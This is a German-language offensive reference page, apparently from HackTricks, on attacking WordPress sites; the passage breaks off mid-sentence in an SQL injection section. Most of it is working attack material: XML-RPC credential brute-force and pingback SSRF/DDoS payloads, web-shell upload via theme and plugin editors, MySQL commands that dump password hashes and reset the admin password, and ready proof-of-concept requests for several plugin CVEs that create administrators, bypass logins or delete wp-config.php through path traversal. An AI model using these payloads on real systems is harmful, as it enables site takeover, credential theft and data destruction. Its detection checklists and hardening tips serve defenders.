Wordpress
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
-
Hochgeladene Dateien landen unter:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Theme-Dateien befinden sich in /wp-content/themes/, daher wirst du wahrscheinlich diesen Pfad verwenden, wenn du etwas PHP im Theme Ànderst, um RCE zu bekommen. Zum Beispiel: Wenn du das Theme twentytwelve verwendest, kannst du die Datei 404.php erreichen unter: /wp-content/themes/twentytwelve/404.php
-
Eine weitere nĂŒtzliche URL könnte sein: /wp-content/themes/default/404.php
-
In wp-config.php kannst du das Root-Passwort der Datenbank finden.
-
Standard-Login-Pfade, die ĂŒberprĂŒft werden sollten: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Wichtige WordPress-Dateien
index.phplicense.txtenthĂ€lt nĂŒtzliche Informationen wie die installierte WordPress-Version.wp-activate.phpwird fĂŒr den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Site verwendet.- Login-Dateien (können umbenannt sein, um sie zu verbergen):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpist eine Datei, die eine WordPress-Funktion darstellt, die die Ăbertragung von Daten ermöglicht, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.- Der
wp-content-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind. wp-content/uploads/ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.wp-includes/ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.wp-sitemap.xmlIn WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap-XML-Datei mit allen öffentlichen BeitrÀgen sowie öffentlich abfragbaren Post-Typen und Taxonomien.
Post exploitation
- Die
wp-config.php-Datei enthĂ€lt Informationen, die WordPress benötigt, um sich mit der Datenbank zu verbinden, wie den Datenbanknamen, Datenbank-Host, Benutzername und Passwort, Authentifizierungs-SchlĂŒssel und Salts sowie das PrĂ€fix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche hilfreich sein kann.
Benutzerberechtigungen
- Administrator
- Editor: Veröffentlicht und verwaltet eigene und fremde BeitrÀge
- Author: Veröffentlicht und verwaltet seine eigenen BeitrÀge
- Contributor: Verfasst und verwaltet seine BeitrÀge, kann sie aber nicht veröffentlichen
- Subscriber: Kann BeitrÀge lesen und sein Profil bearbeiten
Passive Enumeration
WordPress-Version ermitteln
PrĂŒfe, ob du die Dateien /license.txt oder /readme.html finden kannst.
Im Quellcode der Seite (Beispiel von https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS-Linkdateien
.png)
- JavaScript-Dateien
.png)
Plugins herunterladen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Themes abrufen
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Versionen im Allgemeinen extrahieren
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Active enumeration
Plugins and Themes
Du wirst wahrscheinlich nicht alle Plugins und Themes finden können. Um alle zu entdecken, musst du actively Brute Force a list of Plugins and Themes (hoffentlich gibt es dafĂŒr automatisierte Tools, die diese Listen enthalten).
Benutzer
- ID Brute: Du erhĂ€ltst gĂŒltige Benutzer von einer WordPress-Seite, indem du Benutzer-IDs Brute Forcing durchfĂŒhrst:
curl -s -I -X GET http://blog.example.com/?author=1
Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die id gĂŒltig ist. Wenn die Antwort 400 ist, dann ist die id ungĂŒltig.
- wp-json: Sie können auch versuchen, Informationen ĂŒber die Benutzer zu erhalten, indem Sie abfragen:
curl http://blog.example.com/wp-json/wp/v2/users
Ein weiterer /wp-json/ endpoint, der einige Informationen ĂŒber Benutzer offenlegen kann, ist:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Beachte, dass dieser endpoint nur Benutzer offenlegt, die einen Beitrag erstellt haben. Es werden nur Informationen ĂŒber Benutzer bereitgestellt, bei denen diese Funktion aktiviert ist.
Also beachte, dass /wp-json/wp/v2/pages IP-Adressen leaken könnte.
- Login username enumeration: Beim Login ĂŒber
/wp-login.phpist die Meldung unterschiedlich, je nachdem ob der angegebene Benutzername existiert oder nicht.
XML-RPC
Wenn xml-rpc.php aktiv ist, kannst du eine credentials brute-force durchfĂŒhren oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (Du kannst diesen Prozess zum Beispiel using this automatisieren).
Um zu prĂŒfen, ob es aktiv ist, versuche auf /xmlrpc.php zuzugreifen und diese Anfrage zu senden:
PrĂŒfen
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories oder metaWeblog.getUsersBlogs sind einige der Methoden, die verwendet werden können, um credentials zu brute-force. Wenn du eine davon findest, kannst du etwas wie Folgendes senden:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die Meldung âIncorrect username or passwordâ innerhalb einer 200-Status-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gĂŒltig sind.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Auch gibt es einen schnelleren Weg, Zugangsdaten per Brute-Force zu erlangen, indem man system.multicall verwendet, da man mehrere Zugangsdaten in derselben Anfrage ausprobieren kann:
.png)
2FA umgehen
Diese Methode ist fĂŒr Programme und nicht fĂŒr Menschen gedacht und veraltet, daher unterstĂŒtzt sie kein 2FA. Wenn du also gĂŒltige creds hast, aber der Hauptzugang durch 2FA geschĂŒtzt ist, kannst du möglicherweise xmlrpc.php missbrauchen, um dich mit diesen creds anzumelden und 2FA zu umgehen. Beachte, dass du nicht alle Aktionen ausfĂŒhren kannst, die ĂŒber die Konsole möglich sind, aber du kannst möglicherweise trotzdem RCE erreichen, wie Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s erklĂ€rt.
DDoS oder Port-Scanning
Wenn du die Methode pingback.ping in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an jeden Host/Port zu senden.
Das kann verwendet werden, um tausende von Wordpress Sites dazu zu bringen, einen Ort aufzurufen (wodurch dort ein DDoS verursacht wird) oder du kannst es nutzen, um Wordpress ein internes Netzwerk scannen zu lassen (du kannst jeden Port angeben).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Wenn Sie faultCode mit einem Wert gröĂer als 0 (17) erhalten, bedeutet das, dass der Port offen ist.
Schauen Sie sich die Verwendung von system.multicall im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbrauchen kann, um DDoS zu verursachen.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Diese Datei befindet sich normalerweise im Root der Wordpress-Website: /wp-cron.php
Wenn diese Datei aufgerufen wird, wird eine âschwereâ MySQL Abfrage ausgefĂŒhrt, daher kann sie von Angreifern genutzt werden, um einen DoS zu verursachen.
Auch wird standardmĂ€Ăig wp-cron.php bei jedem Seitenaufruf (immer wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was bei stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host einzurichten, der die benötigten Aktionen in regelmĂ€Ăigen AbstĂ€nden ausfĂŒhrt (ohne Probleme zu verursachen).
/wp-json/oembed/1.0/proxy - SSRF
Versuche, auf https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net zuzugreifen, und die Wordpress-Seite könnte eine Anfrage an dich senden.
Dies ist die Antwort, wenn es nicht funktioniert:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Dieses Tool prĂŒft, ob der methodName: pingback.ping und der Pfad /wp-json/oembed/1.0/proxy vorhanden sind, und falls ja, versucht es, diese auszunutzen.
Automatische Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Zugriff durch Ăberschreiben eines Bits
Eher eine KuriositÀt als ein realer Angriff. Im CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konntest du 1 Bit in jeder wordpress-Datei flippen. So konntest du an Position 5389 der Datei /var/www/html/wp-includes/user.php ein Bit flippen, um die NOT (!) Operation zu NOPen.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Ăndern einer php-Datei des verwendeten Themes (Admin-Zugang erforderlich)
Design â Theme-Editor â 404-Vorlage (rechts)
Ăndere den Inhalt zu einer php shell:
.png)
Recherchiere im Internet, wie du auf die aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Du kannst verwenden:
use exploit/unix/webapp/wp_admin_shell_upload
um eine Session zu bekommen.
Plugin RCE
PHP plugin
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.
Create your php backdoor using for example:
.png)
Dann ein neues Plugin hinzufĂŒgen:
.png)
Upload plugin and press Install Now:
.png)
Klicken Sie auf Procced:
.png)
Wahrscheinlich scheint dies nichts zu bewirken, aber wenn Sie zu Media gehen, sehen Sie Ihre hochgeladene shell:
.png)
Rufen Sie sie auf und Sie sehen die URL, um die reverse shell auszufĂŒhren:
.png)
Uploading and activating malicious plugin
Diese Methode beinhaltet die Installation eines bösartigen Plugins, das dafĂŒr bekannt ist, verwundbar zu sein und ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Prozess wird ĂŒber das WordPress-Dashboard wie folgt durchgefĂŒhrt:
- Plugin Acquisition: Das Plugin wird von einer Quelle wie Exploit DB bezogen, zum Beispiel hier.
- Plugin Installation:
- Navigieren Sie im WordPress-Dashboard zu
Dashboard > Plugins > Upload Plugin. - Laden Sie die ZIP-Datei des heruntergeladenen Plugins hoch.
- Plugin Activation: Nachdem das Plugin erfolgreich installiert wurde, muss es ĂŒber das Dashboard aktiviert werden.
- Exploitation:
- Mit installiertem und aktiviertem Plugin âreflex-galleryâ kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
- Das Metasploit-Framework stellt einen Exploit fĂŒr diese Verwundbarkeit bereit. Durch Laden des entsprechenden Moduls und AusfĂŒhren spezifischer Befehle kann eine meterpreter-Session hergestellt werden, die unbefugten Zugriff auf die Seite ermöglicht.
- Es sei angemerkt, dass dies nur eine von vielen Methoden ist, um eine WordPress-Seite auszunutzen.
Der Inhalt enthĂ€lt visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Genehmigung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext, wie z. B. bei Penetrationstests mit ausdrĂŒcklicher Erlaubnis, verwendet werden.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike ist ein Script, das dazu entwickelt wurde, eine Cross-Site Scripting (XSS)-Schwachstelle zu eskalieren zu Remote Code Execution (RCE) oder anderen kritischen Schwachstellen in WordPress. FĂŒr mehr Infos siehe this post. Es bietet Support fĂŒr Wordpress Versions 6.X.X, 5.X.X und 4.X.X und ermöglicht:
- Privilege Escalation: Erstellt einen Benutzer in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Laden Sie Ihr eigenes Plugin (backdoor) in WordPress hoch.
- (RCE) Built-In Plugin Edit: Bearbeitet eingebaute Plugins in WordPress.
- (RCE) Built-In Theme Edit: Bearbeitet eingebaute Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits fĂŒr Third-Party WordPress Plugins/Themes.
Post Exploitation
Benutzernamen und Passwörter extrahieren:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin-Passwort Àndern:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
AngriffsflÀche
Zu wissen, wie ein Wordpress-Plugin FunktionalitĂ€t nach auĂen bereitstellen kann, ist entscheidend, um Schwachstellen in dessen FunktionalitĂ€t zu finden. Wie ein Plugin FunktionalitĂ€t offenlegen könnte, sehen Sie in den folgenden AufzĂ€hlungspunkten und einige Beispiele verwundbarer Plugins in this blog post.
wp_ajax
Eine Möglichkeit, wie ein Plugin Funktionen nach auĂen bereitstellen kann, ist ĂŒber AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. AuĂerdem ist es ziemlich hĂ€ufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stĂŒtzen, den jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte (unabhĂ€ngig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin freizugeben:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die Verwendung von nopriv macht den Endpunkt fĂŒr alle Benutzer zugĂ€nglich (auch fĂŒr nicht authentifizierte).
Caution
AuĂerdem, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion
wp_verify_nonceĂŒberprĂŒft, prĂŒft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie ĂŒberprĂŒft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit geringen Rechten Zugriff auf Aktionen mit hohen Rechten haben.
- REST API
Es ist auch möglich, Funktionen aus wordpress offenzulegen, indem man eine REST API mit der Funktion register_rest_route registriert:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Der permission_callback ist eine Callback-Funktion, die ĂŒberprĂŒft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
Wenn die eingebaute Funktion __return_true verwendet wird, wird die BenutzerberechtigungsprĂŒfung einfach ĂŒbersprungen.
- Direkter Zugriff auf die PHP-Datei
NatĂŒrlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt ĂŒber das Web zugĂ€nglich. Wenn ein Plugin also eine anfĂ€llige FunktionalitĂ€t bereitstellt, die bereits durch den einfachen Zugriff auf die Datei ausgelöst wird, kann sie von jedem Benutzer ausgenutzt werden.
Trusted-header REST-Impersonation (WooCommerce Payments †5.6.1)
Einige Plugins implementieren âtrusted headerâ Shortcuts fĂŒr interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext fĂŒr REST-Anfragen zu setzen. Wenn der Header nicht von einer vorgelagerten Komponente kryptografisch an die Anfrage gebunden ist, kann ein Angreifer ihn fĂ€lschen und privilegierte REST-Routen als Administrator aufrufen.
- Impact: nicht authentifizierte Privilegieneskalation zum Admin, indem ein neuer Administrator ĂŒber die core users REST route erstellt wird.
- Beispielheader:
X-Wcpay-Platform-Checkout-User: 1(erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto). - Ausgenutzte Route:
POST /wp-json/wp/v2/usersmit einem erhöhten Rollen-Array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Warum es funktioniert
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungszustand und ĂŒberspringt Capability-Checks.
- Der WordPress-Core erwartet die
create_users-Capability fĂŒr diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
Erwartete Erfolgssignale
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
- Ein neuer Admin-Benutzer sichtbar in
wp-admin/users.php.
Checkliste zur Erkennung
- Grep nach
getallheaders(),$_SERVER['HTTP_...']oder Vendor-SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B.wp_set_current_user(),wp_set_auth_cookie()). - ĂberprĂŒfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten
permission_callback-PrĂŒfungen haben und stattdessen auf Request-Header vertrauen. - Suche nach Verwendungen von Core-User-Management-Funktionen (
wp_insert_user,wp_create_user) in REST-Handlern, die nur durch Header-Werte abgesichert sind.
Nicht-authentifizierte beliebige Dateilöschung ĂŒber wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress-Themes und -Plugins geben hĂ€ufig AJAX-Handler ĂŒber die Hooks wp_ajax_ und wp_ajax_nopriv_ frei. Wenn die nopriv-Variante verwendet wird wird der Callback fĂŒr nicht-authentifizierte Besucher erreichbar, daher muss jede sensible Aktion zusĂ€tzlich implementieren:
- Eine Capability-PrĂŒfung (z. B.
current_user_can()oder mindestensis_user_logged_in()), und - Eine CSRF-Nonce, validiert mit
check_ajax_referer()/wp_verify_nonce(), und - Strikte Eingabe-Sanitierung / Validierung.
Das Litho multipurpose theme (< 3.1) hat diese 3 Kontrollen in der Remove Font Family Funktion vergessen und lieferte schlieĂlich den folgenden Code (vereinfacht):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Probleme, die durch dieses Snippet eingefĂŒhrt wurden:
- Unauthenticated access â der
wp_ajax_nopriv_Hook ist registriert. - No nonce / capability check â jeder Besucher kann den Endpoint aufrufen.
- No path sanitisation â die vom Benutzer kontrollierte
fontfamily-Zeichenkette wird ohne Filterung an einen Dateisystempfad angehÀngt, was klassischen../../-Traversal ermöglicht.
Exploitation
Ein Angreifer kann durch das Senden einer einzelnen HTTP POST-Anfrage jede Datei oder jedes Verzeichnis unterhalb des Uploads-Stammverzeichnisses (normalerweise <wp-root>/wp-content/uploads/) löschen:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Weil wp-config.php auĂerhalb von uploads liegt, reichen auf einer Standardinstallation vier ../-Sequenzen aus. Das Löschen von wp-config.php zwingt WordPress beim nĂ€chsten Aufruf in den Installationsassistenten, was eine vollstĂ€ndige SeitenĂŒbernahme ermöglicht (der Angreifer liefert lediglich eine neue DB-Konfiguration und legt einen Admin-Benutzer an).
Weitere wirkungsvolle Ziele sind Plugin-/Theme-.php-Dateien (um Sicherheitsplugins zu umgehen) oder .htaccess-Regeln.
Erkennungs-Checkliste
- Jeder
add_action( 'wp_ajax_nopriv_...')-Callback, der Dateisystem-Helfer (copy(),unlink(),$wp_filesystem->delete(), etc.) aufruft. - Konkatenation nicht bereinigter Benutzereingaben in Pfade (suche nach
$_POST,$_GET,$_REQUEST). - Fehlen von
check_ajax_referer()undcurrent_user_can()/is_user_logged_in().
Privilege escalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE âView Admin as Roleâ)
Viele Plugins implementieren eine âview as roleâ oder temporĂ€re Rollenwechsel-Funktion, indem sie die ursprĂŒngliche(n) Rolle(n) in user meta speichern, damit diese spĂ€ter wiederhergestellt werden können. Wenn der Wiederherstellungs-Pfad ausschlieĂlich auf Request-Parametern (z. B. $_REQUEST['reset-for']) und einer vom Plugin gepflegten Liste beruht, ohne capabilities und ein gĂŒltiges nonce zu prĂŒfen, wird dies zu einer vertical privilege escalation.
Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (†7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf reset-for=<username> wieder her, wenn der Benutzername in einem internen Array $options['viewing_admin_as_role_are'] erschien, fĂŒhrte jedoch weder eine current_user_can()-PrĂŒfung noch eine Nonce-ĂberprĂŒfung durch, bevor die aktuellen Rollen entfernt und die in user meta _asenha_view_admin_as_original_roles gespeicherten Rollen wieder hinzugefĂŒgt wurden:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Warum es ausnutzbar ist
- Vertraut
$_REQUEST['reset-for']und einer Plugin-Option ohne serverseitige Autorisierung. - Wenn ein Benutzer zuvor höhere Privilegien in
_asenha_view_admin_as_original_rolesgespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft. - In einigen Bereitstellungen könnte jeder authentifizierte Benutzer einen Reset fĂŒr einen anderen Benutzernamen auslösen, der noch in
viewing_admin_as_role_arevorhanden ist (fehlerhafte Autorisierung).
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fĂŒgt die gespeicherten Originalrollen wieder hinzu (z. B. administrator), wodurch effektiv Privilegien eskaliert werden.
Detection checklist
- Look for role-switching features that persist âoriginal rolesâ in user meta (e.g.,
_asenha_view_admin_as_original_roles). - Identify reset/restore paths that:
- Benutzernamen aus
$_REQUEST/$_GET/$_POSTlesen. - Rollen via
add_role()/remove_role()Ă€ndern ohnecurrent_user_can()undwp_verify_nonce()/check_admin_referer(). - Auf Basis eines Plugin-Option-Arrays autorisieren (z. B.
viewing_admin_as_role_are) statt basierend auf den FĂ€higkeiten des Akteurs.
Nicht authentifizierte Privilegieneskalation durch cookieâvertrauenswĂŒrdigen Benutzerwechsel am öffentlichen init-Hook (Service Finder âsf-bookingâ)
Einige Plugins hĂ€ngen user-switching Helpers an den öffentlichen init Hook und leiten die IdentitĂ€t aus einem vom Client kontrollierten cookie ab. Wenn der Code wp_set_auth_cookie() aufruft, ohne Authentifizierung, capability und einen gĂŒltigen nonce zu ĂŒberprĂŒfen, kann jeder nicht authentifizierte Besucher sich als eine beliebige Benutzer-ID anmelden.
Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings †6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // đ„ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Warum es ausnutzbar ist
- Ăffentlicher
inithook macht den Handler fĂŒr nicht authentifizierte Benutzer erreichbar (keineis_user_logged_in()-PrĂŒfung). - Die IdentitĂ€t wird aus einem vom Client Ă€nderbaren Cookie (
original_user_id) abgeleitet. - Direkter Aufruf von
wp_set_auth_cookie($uid)loggt den Anfragenden als diesen Benutzer ein, ohne Capability-/Nonce-PrĂŒfungen.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF-Ăberlegungen fĂŒr WordPress/plugin CVEs
Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) abgestimmt. Viele hochkritische WordPress/plugin-Schwachstellen sind anwendungsspezifische Logik-/Authentifizierungs-Bugs, die wie harmloser Traffic aussehen, wenn die Engine WordPress-Routen und Plugin-Semantik nicht kennt.
Offensive Hinweise
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Typische hochkritische FĂ€lle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive Hinweise
- Donât rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress Protection
RegelmĂ€Ăige Updates
Stelle sicher, dass WordPress, plugins und themes auf dem neuesten Stand sind. BestĂ€tige auĂerdem, dass automatisches Updating in wp-config.php aktiviert ist:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Installiere auĂerdem nur vertrauenswĂŒrdige WordPress-Plugins und -Themes.
Sicherheits-Plugins
Weitere Empfehlungen
- Entferne den Standard admin Benutzer
- Verwende starke Passwörter und 2FA
- Periodisch ĂŒberprĂŒfe Benutzer Berechtigungen
- Begrenze Login-Versuche, um Brute Force-Angriffe zu verhindern
- Benenne die Datei
wp-admin.phpum und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
Unauthenticated SQL Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
Das WP Job Portal recruitment plugin stellte eine savecategory Aufgabe bereit, die letztlich den folgenden verwundbaren Code in modules/category/model.php::validateFormData() ausfĂŒhrt:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat â
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Probleme, die durch diesen Codeabschnitt entstehen:
- Unbereinigte Benutzereingabe â
parentidkommt direkt aus der HTTP-Anfrage. - String-Konkatenation innerhalb der WHERE-Klausel â kein
is_numeric()/esc_sql()/ prepared statement. - Unauthenticated reachability â obwohl die Aktion ĂŒber
